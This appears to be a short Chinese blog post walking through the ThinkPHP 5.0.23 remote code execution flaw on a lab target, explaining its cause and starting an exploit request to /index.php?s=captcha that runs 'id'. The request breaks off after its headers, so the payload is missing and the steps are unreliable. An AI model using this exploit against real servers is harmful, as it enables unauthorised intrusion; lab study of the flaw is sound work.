Thinkphp5.0.23 rce(远程代码执行)

本文主要是介绍Thinkphp5.0.23 rce(远程代码执行)，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

一、成因

ThinkPHP是中国使用极其广泛的PHP开发框架。在其 5.0（<5.0.24） 版本中，框架在获取请求方法时错误地对其进行处理，从而允许攻击者调用 Request 类的任何方法，从而通过特定漏洞链导致 RCE 漏洞。

二、漏洞利用

进入靶场页面

根据漏洞POC，远程代码执行命令为：id

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept

这篇关于Thinkphp5.0.23 rce(远程代码执行)的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---